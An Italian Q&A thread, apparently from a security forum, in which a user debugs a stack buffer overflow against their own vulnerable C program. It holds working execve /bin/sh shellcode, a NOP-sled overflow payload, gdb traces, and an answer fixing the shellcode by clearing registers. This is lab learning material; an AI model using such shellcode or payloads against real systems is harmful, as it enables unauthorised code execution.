Il codice shell non è stato eseguito correttamente

1

Sono riuscito a far sì che shellcode venisse indicato da eip creando il mio eseguibile senza misure di sicurezza.

Tuttavia, non sembra essere eseguito.

Ecco la fonte C del mio programma vulnerabile:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int check_password(char *password){
    int retval = 0;
    char possible_password_1[16] = "possiblepasswrd";
    char possible_password_2[16] = "drwssapelbissop";
    char user_input_password[16];

    strcpy(user_input_password, password);

    if(!strcmp(possible_password_1, user_input_password))
        retval = 1;

    if(!strcmp(possible_password_2, user_input_password))
        retval = 2;

    return retval;
}

int main(int argc, char *argv[]){
    if(argc < 2){
        printf("Not enough arguments\n");
        return -1;
    }

    int correct = check_password(argv[1]);
    if(correct)
        printf("CORRECT PASSWORD\n");
    else
        printf("INCORRECT PASSWORD\n");

    return 0;
}

Ecco lo shellcode che sto usando:

00000000: 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50  1.Ph//shh/bin..P
00000010: 53 89 e1 b0 0b cd 80                             S......

Ecco il buffer che sto dando al mio programma:

00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73  .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80  hh/bin..PS......
00000030: 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf  ................
00000040: 0c f3 ff bf                                      ....

Ecco una parte della pila prima della chiamata strcpy (gli ultimi 4 byte sono l'indirizzo di ritorno):

0xbffff310: 0xb7fff000  0xb7fff918  0xbffff330  0x73777264
0xbffff320: 0x65706173  0x7369626c  0x00706f73  0x73736f70
0xbffff330: 0x656c6269  0x73736170  0x00647277  0x00000000
0xbffff340: 0x00008000  0xb7fb1000  0xbffff378  0x08048523

Ecco la stessa parte della pila dopo la chiamata strcpy:

0xbffff310: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff320: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
0xbffff330: 0xe3896e69  0xe1895350  0x80cd0bb0  0xbffff30c
0xbffff340: 0xbffff30c  0xbffff30c  0xbffff30c  0xbffff30c

Ecco lo shellcode in memoria (puntato nell'indirizzo di ritorno sovrascritto):

0xbffff30c: nop
0xbffff30d: nop
0xbffff30e: nop
---snip---
0xbffff325: xor    eax,eax
0xbffff327: push   eax
0xbffff328: push   0x68732f2f
0xbffff32d: push   0x6e69622f
0xbffff332: mov    ebx,esp
0xbffff334: push   eax
0xbffff335: push   ebx
0xbffff336: mov    ecx,esp
0xbffff338: mov    al,0xb
0xbffff33a: int    0x80

Ho impostato un breakpoint a 0xbffff325 e viene colpito:

(gdb) b *0xbffff325
Breakpoint 5 at 0xbffff325
(gdb) c
Continuing.

Breakpoint 5, 0xbffff325 in ?? ()
(gdb) x/10i $eip
=> 0xbffff325:  xor    eax,eax
   0xbffff327:  push   eax
   0xbffff328:  push   0x68732f2f
   0xbffff32d:  push   0x6e69622f
   0xbffff332:  mov    ebx,esp
   0xbffff334:  push   eax
   0xbffff335:  push   ebx
   0xbffff336:  mov    ecx,esp
   0xbffff338:  mov    al,0xb
   0xbffff33a:  int    0x80
(gdb) i r eip
eip            0xbffff325   0xbffff325

Quindi passo attraverso ogni istruzione e assicurati che venga eseguita correttamente:

(gdb) x/i $eip
=> 0xbffff325:  xor    eax,eax
(gdb) si
0xbffff327 in ?? ()
(gdb) i r eax
eax            0x0  0
(gdb) x/i $eip
=> 0xbffff327:  push   eax
(gdb) si
0xbffff328 in ?? ()
(gdb) x/wx $esp
0xbffff34c: 0x00000000
(gdb) x/i $eip
=> 0xbffff328:  push   0x68732f2f
(gdb) si
0xbffff32d in ?? ()
(gdb) x/wx $esp
0xbffff348: 0x68732f2f
(gdb) x/i $eip
=> 0xbffff32d:  push   0x6e69622f
(gdb) si
0xbffff332 in ?? ()
(gdb) x/wx $esp
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff332:  mov    ebx,esp
(gdb) x/wx $ebx
0x0:    Cannot access memory at address 0x0
(gdb) si
0xbffff334 in ?? ()
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff334:  push   eax
(gdb) x/wx $eax
0x0:    Cannot access memory at address 0x0
(gdb) si
0xbffff335 in ?? ()
(gdb) x/wx $esp
0xbffff340: 0x00000000
(gdb) x/i $eip
=> 0xbffff335:  push   ebx
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) si
0xbffff336 in ?? ()
(gdb) x/i $eip
=> 0xbffff336:  mov    ecx,esp
(gdb) x/wx $esp
0xbffff33c: 0xbffff344
(gdb) si
0xbffff338 in ?? ()
(gdb) x/wx $ecx
0xbffff33c: 0xbffff344
(gdb) x/i $eip
=> 0xbffff338:  mov    al,0xb
(gdb) si
0xbffff33a in ?? ()
(gdb) i r al
al             0xb  11
(gdb) x/i $eip
=> 0xbffff33a:  int    0x80
(gdb) si
0xbffff33c in ?? ()

Tuttavia, dopo aver effettuato la chiamata di sistema, non c'è shell. Il programma continua l'esecuzione, cercando di leggere gli indirizzi come istruzioni e ottengo un errore di istruzione non valido: Program received signal SIGILL, Illegal instruction. 0xbffff33d in ?? () . Quale potrebbe essere la causa di questo?

Grazie per l'aiuto.

EDIT: lo shellcode funziona con il wrapper C:

yapoz@potato:~/Documents/Pentesting/my$ cat shellcode_demo.c
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
    ((void (*)())shellcode)();
}
yapoz@potato:~/Documents/Pentesting/my$ gcc shellcode_demo.c -zexecstack -fno-stack-protector -o shellcode_demo
yapoz@potato:~/Documents/Pentesting/my$ ./shellcode_demo
$ echo $0
/bin//sh
$ exit
yapoz@potato:~/Documents/Pentesting/my$ 
    
posta Yapoz 08.12.2016 - 04:49
fonte

1 risposta

0

sys_execve chiede i seguenti argomenti:

  • EBX: puntatore al comando

  • ECX: puntatore agli argomenti extra

  • EDX: puntatore agli argomenti extra

  • ESI: puntatore a una struttura pt_regs

Hai impostato solo i registri EBX e ECX. Devi tenere conto che qualsiasi cosa il programma abbia eseguito prima potrebbe aver rovinato i registri EDX e ESI.

Puoi verificarlo impostando un breakpoint appena prima del int 0x80 e eseguendo info registers in gdb.

Per risolvere questo problema, è sufficiente pulire i registri ECX, EDX ed ESI impostandoli su NULL. Facendo così, il kernel assumerà che non stai dando alcun argomento o flag.

Quindi prima di int 0x80 devi solo aggiungere:

xor ecx, ecx
xor edx, edx
xor esi, esi

E dopo aver fatto ciò, dovresti ottenere una bella shell!.

    
risposta data 13.01.2019 - 12:52
fonte

Leggi altre domande sui tag